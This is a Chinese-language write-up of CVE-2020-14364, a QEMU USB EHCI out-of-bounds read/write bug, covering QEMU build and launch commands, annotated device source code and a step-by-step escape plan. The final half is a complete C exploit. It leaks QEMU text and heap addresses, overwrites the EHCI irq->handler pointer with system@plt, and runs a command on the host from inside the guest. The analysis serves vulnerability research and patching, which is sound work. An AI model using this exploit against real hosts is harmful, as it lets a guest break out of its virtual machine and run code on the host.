cve-2020-14364 qemu逃逸漏洞分析

编译

本文使用的是qemu-2.10.1linux-4.10.10

编译qemu时关闭优化并开启调试信息,方便调试

1
2
cd qemu-2.10.1/
CFLAGS="-no-pie -fno-stack-protector -z execstack" ./configure --enable-debug --disable-strip

启动

1
2
3
4
5
6
7
8
9
10
11
12
~/qemu-2.10.1/x86_64-softmmu/qemu-system-x86_64 \
-m 128M \
-usb \
-device usb-ehci,id=ehci \
-device usb-tablet,bus=ehci.0 \
-kernel ./bzImage \
-initrd ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kalsr uid=0" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-smp cores=2,threads=1 \
-cpu kvm64,+smep

启动后在另一个窗口用attach pie调试进程

通过lspci命令,查看usb设备所在在总线号,这里是00:03.0

1

漏洞分析

usb_process_one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static void usb_process_one(USBPacket *p)
{
USBDevice *dev = p->ep->dev;

/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/
p->status = USB_RET_SUCCESS;

if (p->ep->nr == 0) {
/* control pipe */
if (p->parameter) {
do_parameter(dev, p);
return;
}
switch (p->pid) {
case USB_TOKEN_SETUP:
do_token_setup(dev, p);
break;
case USB_TOKEN_IN:
do_token_in(dev, p);
break;
case USB_TOKEN_OUT:
do_token_out(dev, p);
break;
default:
p->status = USB_RET_STALL;
}
} else {
/* data pipe */
usb_device_handle_data(dev, p);
}
}

qemu\hw\core.c中的usb_process_one是对usb包进行处理的函数,参数是USBPacket结构,根据Packet中的pie进行设置(do_token_setup)、读(do_token_in)、写(do_token_out)三个操作中的一个

do_token_setup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}

usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; //---------> [1]
if (s->setup_len > sizeof(s->data_buf)) { //---------> [2]
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

if (s->setup_buf[0] & USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
s->setup_state = SETUP_STATE_SETUP;
}
if (p->status != USB_RET_SUCCESS) {
return;
}

if (p->actual_length < s->setup_len) {
s->setup_len = p->actual_length;
}
s->setup_state = SETUP_STATE_DATA;
} else {
if (s->setup_len == 0)
s->setup_state = SETUP_STATE_ACK;
else
s->setup_state = SETUP_STATE_DATA;
}

p->actual_length = 8;
}

qemu\hw\core.c中的do_token_setup函数;

【1】处s->setup_lens->setup_buf[6]`s->setup_buf[7]`决定,所以len可控制

【2】处的判断,过大的s->setup_len会进行返回,但是s->setup_len已经被赋值,所以该处的检查没有起到效果。

do_token_in

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
static void do_token_in(USBDevice *s, USBPacket *p)
{
int request, value, index;

assert(p->ep->nr == 0);

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->actual_length = 0;
}
break;

case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index; //----------->[3]
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);//---------[4]
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}

qemu\hw\core.c中的do_token_in函数;

【3】处使用s->setup_len获得len,而p->iov.size可由用户控制,例如设置p->iov.size0x2000,则最后len为0x2000,所以会造成【4】处的复制操作造成越界访问

do_token_out

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;

case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) { //----------------[5]
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len); //------------[6]
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}

qemu\hw\core.c中的do_token_out函数;

do_token_out函数,【5】处可控制 len,【6】处造成越界写

USBDevice

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;

/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;

int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096]; <-------------
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];

QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;

int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};

EHCIState

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
struct EHCIState {
USBBus bus;
DeviceState *device;
qemu_irq irq;
MemoryRegion mem;
AddressSpace *as;
MemoryRegion mem_caps;
MemoryRegion mem_opreg;
MemoryRegion mem_ports;
int companion_count;
bool companion_enable;
uint16_t capsbase;
uint16_t opregbase;
uint16_t portscbase;
uint16_t portnr;

/* properties */
uint32_t maxframes;

/*
* EHCI spec version 1.0 Section 2.3
* Host Controller Operational Registers
*/
uint8_t caps[CAPA_SIZE];
union {
uint32_t opreg[0x44/sizeof(uint32_t)];
struct {
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};
uint32_t portsc[NB_PORTS];

/*
* Internal states, shadow registers, etc
*/
QEMUTimer *frame_timer;
QEMUBH *async_bh;
bool working;
uint32_t astate; /* Current state in asynchronous schedule */
uint32_t pstate; /* Current state in periodic schedule */
USBPort ports[NB_PORTS];
USBPort *companion_ports[NB_PORTS];
uint32_t usbsts_pending;
uint32_t usbsts_frindex;
EHCIQueueHead aqueues;
EHCIQueueHead pqueues;

/* which address to look at next */
uint32_t a_fetch_addr;
uint32_t p_fetch_addr;

USBPacket ipacket;
QEMUSGList isgl;

uint64_t last_run_ns;
uint32_t async_stepdown;
uint32_t periodic_sched_active;
bool int_req_by_async;
VMChangeStateEntry *vmstate;
};

观察ehci_update_irq,(qemu\hw\usb\hcd-ehci.c)可以发现它调用了EHCIState->irq结构体中的函数指针,并且参数也在irq结构体中

1
2
3
4
5
6
7
8
9
10
11
12
/* update irq line */
static inline void ehci_update_irq(EHCIState *s)
{
int level = 0;

if ((s->usbsts & USBINTR_MASK) & s->usbintr) {
level = 1;
}

trace_usb_ehci_irq(level, s->frindex, s->usbsts, s->usbintr);
qemu_set_irq(s->irq, level);
}

qemu_set_irq位置qemu\hw\core\irq.c

1
2
3
4
5
6
7
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;

irq->handler(irq->opaque, irq->n, level);
}

漏洞利用

qemu虚拟地址转成物理地址

参考链接:https://xz.aliyun.com/t/6562

首先通过mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED,mmio_fd,0);映射到usb设备的内存。

接着对这块内存操作可以直接设置opreg的内容。

整体利用思路

1
2
3
4
5
6
7
8
9
10
do_token_setup -> 先发一个正常包设置 s->setup_state 
do_token_setup -> 发一个size为0x5000的包设置 s->setup_len
do_token_out -> 越界写,控制 s->setup_index
do_token_out -> 控制 s->setup_buf 使其能进入do_token_in进行读操作,同时设置 s->setup_index控制读的位置
do_token_in -> 读操作,泄漏text(text段)、irq(heap段)地址
do_token_setup -> 重新发送一个正常包恢复状态
do_token_setup -> 发一个size为0x5000的包设置 s->setup_len
do_token_out -> 越界写,控制 s->setup_index,指向irq->handler
do_token_out -> 覆盖irq->handler为system@plt
最后通过mmio读写触发ehci_update_irq->qemu_set_irq,最终执行system('xcalc'),完成利用

发包

发送一个基本USBPacket的过程如下,需要构造的部分主要是红框中的部分

qtd->token包含了p->pid和p->iov.size,而p->pid决定了USBPacket 进入do_token_setup/in/out

1
2
3
以图中为例
2 << 8 表示进入do_token_setup ,0进入do_token_out, 1进入do_token_in
8 << 16 表示 p->iov.size为8

2

step1

仅需构造正常的packet ,在do_token_setup中设置s->setup_state = SETUP_STATE_DATA (2),为后续做准备

step2

继续进入do_token_setup,设置s->setup_len为0x5000,sizeof(s->data_buf)为0x1000,因此可以越界,且此时s->setup_state仍为2

3

step3

由于step1中 s->setup_buf[0]被设置成了0,因此现在只能进入do_token_out进行写操作,结合USBDevice结构体,data_buf后方可劫持s->setup_index,并且setup_buf位置data_buf前方

1
usb_packet_copy(p, s->data_buf + s->setup_index, len);

usb_packet_copy的起始位置是data_buf + s->setup_index,因此只要将index改为负数 ,下次写入就可以控制 setup_buf,使得可以进入do_token_in进行越界读

4

step4

控制 s->setup_buf 使其能进入do_token_in进行读操作,同时设置 s->setup_index控制读的位置

step5

进入do_token_in 读操作,泄漏text(text段)、irq(heap段)地址

5

step6

因为s->setup_buf[0]已经为0x80,无法进入do_token_out进入写操作,所以重新发送一个正常包恢复状态

step7

发包进入do_token_setup 设置s->setup_len 为0x5000

step8

进入do_token_out越界写控制 s->setup_index指向irq->handler为下一步准备

step9

进入do_token_out覆盖irq->handler为system@plt,最后通过mmio读写触发ehci_update_irq->qemu_set_irq,最终执行system(‘xcalc’),完成利用

c3rv6-60n6b

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
unsigned char *mmio_mem;
char *dmabuf;
struct ohci_hcca *hcca;
struct EHCIqtd *qtd;
struct ohci_ed *ed;
struct ohci_td *td;
char *setup_buf;
uint32_t *dmabuf32;
char *td_addr;
struct EHCIqh *qh;
struct ohci_td *td_1;
char *dmabuf_phys_addr;
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
long long data_buf;
long long irq;
long long text;
unsigned int *ptr;
struct USBEndpoint
{
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};

struct USBDevice
{
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};

typedef struct EHCIqh
{
uint32_t next; /* Standard next link pointer */

/* endpoint characteristics */
uint32_t epchar;

/* endpoint capabilities */
uint32_t epcap;

uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;

uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqh;
typedef struct EHCIqtd
{
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;

uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqtd;
void die(const char *msg)
{
perror(msg);
exit(-1);
}
uint64_t virt2phys(void *p)
{
uint64_t virt = (uint64_t)p;

// Assert page alignment

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);

uint64_t phys;
if (read(fd, &phys, 8) != 8)
die("read");
// Assert page present

phys = (phys & ((1ULL << 54) - 1)) * 0x1000 + (virt & 0xfff);
return phys;
}



void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t *)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t *)(mmio_mem + addr));
}
void init()
{

int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
mlock(dmabuf, 0x3000);
dmabuf32 = dmabuf + 4;
qtd = dmabuf + 0x200;
qh = dmabuf + 0x100;
setup_buf = dmabuf + 0x300;
ptr = dmabuf;
}
void init_state()
{
mmio_write(0x64, 0x100);
mmio_write(0x64, 0x4);
qh->epchar = 0x00;
qh->token = 1 << 7;
qh->current_qtd = virt2phys(dmabuf + 0x200);
qtd = dmabuf + 0x200;
qtd->token = 1 << 7 | 2 << 8 | 8 << 16;
qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
setup_buf[6] = 0xff;
setup_buf[7] = 0x0;
dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
mmio_write(0x28, 0x0);
mmio_write(0x30, 0x0);
mmio_write(0x2c,0);
mmio_write(0x34, virt2phys(dmabuf));
mmio_write(0x20, 0x11);
}
void set_length(uint16_t len, uint8_t in)
{
mmio_write(0x64, 0x100);
mmio_write(0x64, 0x4);
setup_buf[0] = in;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8) & 0xff;
qh->epchar = 0x00;
qh->token = 1 << 7;
qh->current_qtd = virt2phys(dmabuf + 0x200);

qtd->token = 1 << 7 | 2 << 8 | 8 << 16; // 2 <<8 go to do_token_setup
qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
mmio_write(0x28, 0x0);
mmio_write(0x30, 0x0);
mmio_write(0x2c,0);
mmio_write(0x34, virt2phys(dmabuf));
mmio_write(0x20, 0x11);
}
void set_length3(uint16_t len, uint8_t in)
{
memset(dmabuf + 0x400, 0x61, 0x1000);
mmio_write(0x64, 0x100);
mmio_write(0x64, 0x4);
setup_buf[0] = in;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8) & 0xff;
qh->epchar = 0x00;
qh->token = 1 << 7;
qh->current_qtd = virt2phys(dmabuf + 0x200);

*(int *)&dmabuf[0x1304] = 0x2;
*(int *)&dmabuf[0x1308] = 0x5000;
*(int *)&dmabuf[0x130c] = 0xffffefe8; //set s->setup_index -8
qtd->token = 1 << 7 | 0 << 8 | 0x1010 << 16; //write len is 0x1000, 0 << 8 got to write
qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
qtd->bufptr[1] = virt2phys(dmabuf + 0x1300);
dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
mmio_write(0x28, 0x0);
mmio_write(0x30, 0x0);
mmio_write(0x2c,0);
mmio_write(0x34, virt2phys(dmabuf));
mmio_write(0x20, 0x11);
}
void set_length4(uint16_t len, uint8_t in)
{
mmio_write(0x64, 0x100);
mmio_write(0x64, 0x4);
setup_buf[0] = in;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8) & 0xff;
qh->epchar = 0x00;
qh->token = 1 << 7;
qh->current_qtd = virt2phys(dmabuf + 0x200);
*(int *)&dmabuf[0x1308] = 0x2;
//*(int *)&dmabuf[0x130c] = 0x14f4-0x1018;

*(ptr + 1221) = 0x16fc -0x1018;
*(ptr + 1221 - 2) = 2;
qtd->token = 1 << 7 | 0 << 8 | 0x1018 << 16;
qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
qtd->bufptr[1] = virt2phys(dmabuf + 0x1300);
dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
mmio_write(0x28, 0x0);
mmio_write(0x30, 0x0);
mmio_write(0x2c,0);
mmio_write(0x34, virt2phys(dmabuf));
mmio_write(0x20, 0x11);
}
void do_copy_read(uint16_t len, uint8_t in)
{
mmio_write(0x64, 0x100);
mmio_write(0x64, 0x4);
qh->epchar = 0x00;
qh->token = 1 << 7;
qh->current_qtd = virt2phys(dmabuf + 0x200);
qtd->token = 1 << 7 | 1 << 8 | 0x1100 << 16;
qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
qtd->bufptr[1] = virt2phys(dmabuf + 0x1300);
dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
mmio_write(0x28, 0x0);
mmio_write(0x30, 0x0);
mmio_write(0x2c,0);
mmio_write(0x34, virt2phys(dmabuf));
mmio_write(0x20, 0x11);
}
void set_length6(uint16_t len, uint8_t in)
{
memset(dmabuf + 0x400, 0x61, 0x1000);
mmio_write(0x64, 0x100);
mmio_write(0x64, 0x4);
setup_buf[0] = in;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8) & 0xff;
qh->epchar = 0x00;
qh->token = 1 << 7;
qh->current_qtd = virt2phys(dmabuf + 0x200);

*(int *)&dmabuf[0x1304] = 0x2;
*(int *)&dmabuf[0x1308] = 0x5000;
*(int *)&dmabuf[0x130c] = 0xffffe524; //set s->setup_index -0xacc (point to irq->handler)
qtd->token = 1 << 7 | 0 << 8 | 0x1010 << 16; //write len is 0x1000, 0 << 8 got to write
qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
qtd->bufptr[1] = virt2phys(dmabuf + 0x1300);
dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
mmio_write(0x28, 0x0);
mmio_write(0x30, 0x0);
mmio_write(0x2c,0);
mmio_write(0x34, virt2phys(dmabuf));
mmio_write(0x20, 0x11);
}
void final_write(uint16_t len, uint8_t in,long long system,long long irq_handler)
{
mmio_write(0x64, 0x100);
mmio_write(0x64, 0x4);
setup_buf[0] = in;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8) & 0xff;
qh->epchar = 0x00;
qh->token = 1 << 7;
qh->current_qtd = virt2phys(dmabuf + 0x200);
*(int *)&dmabuf[0x1308] = 0x2;

unsigned long long *ptr2;
ptr2 = &dmabuf[0x300];
*(ptr2) = system;//system plt
*(ptr2 + 1) = irq_handler + 0x10;
*(ptr2 + 2) = 0x636c616378; //xcalc

*(ptr + 1221) = 0x16fc - 0x1018;
*(ptr + 1221 - 2) = 2;
qtd->token = 1 << 7 | 0 << 8 | 0x18 << 16;
qtd->bufptr[0] = virt2phys(dmabuf + 0x300);
qtd->bufptr[1] = virt2phys(dmabuf + 0x1300);
dmabuf32[0] = virt2phys(dmabuf + 0x100) + 0x2;
mmio_write(0x28, 0x0);
mmio_write(0x30, 0x0);
mmio_write(0x2c,0);
mmio_write(0x34, virt2phys(dmabuf));
mmio_write(0x20, 0x11);
}

void check()
{
while (mmio_read(0x20) != 0x100400080000)
{
printf("error:%p ", mmio_read(0x20));
usleep(100000);
}
}

int main()
{
setbuf(stdout, 0);

init();
puts("Start!");
//---------------------- First Step : leak data_buf addr
//send a normal packet,set s->setup_state to SETUP_DATA_STATE(2)
puts("set s->setup_state:SETUP_DATA_STATE");
init_state();
//getchar();
check();
//send a deformity,set s->setup_len to 0x5000

puts("set s->setup_len:0x5000");
set_length(0x5000, 0);
//getchar();
usleep(500000);

//write out of bounds
puts("write out of bounds,set setup_index -8");
set_length3(0x5000, 0x80);
//getchar();
check();
//write out of bounds,set s->setup_buf for leak address
puts("write out of bounds,set s->setup_buf and s->setup_index");
set_length4(0x5000, 0x80);
//getchar();
check();
//now leak address
//read text address
puts("read text address");
do_copy_read(0x5000,0x80);
//getchar();
check();

long long *ptrr = dmabuf + 0x300;
long long libc_base = *ptrr - 0x51a92b;
long long *heap = dmabuf + 0x308;
long long system = libc_base + 0x2038d0;
long long irq_handler = *heap - 0x2e88;
long long irq_opaque = *heap - 0x2e80;
printf("libc_base: %p\n",libc_base);
printf("system: %p\n",system);
printf("irq_handler: %p\n",irq_handler);
printf("irq_opaque: %p\n",irq_opaque);
//irq->handler: 0x5555592bb138
//irq->opaque: 0x5555592bb140

//restart
init_state();
check();
set_length(0x5000, 0);
usleep(500000);

//write irq->handler
puts("change s->setup_index point to irq->handler");
set_length6(0x5000,0x80);
//getchar();
check();

puts("change irq->handler");
final_write(0x5000,0x80,system,irq_handler);
//getchar();
check();
puts("pwn it?");

return 0;
}
0%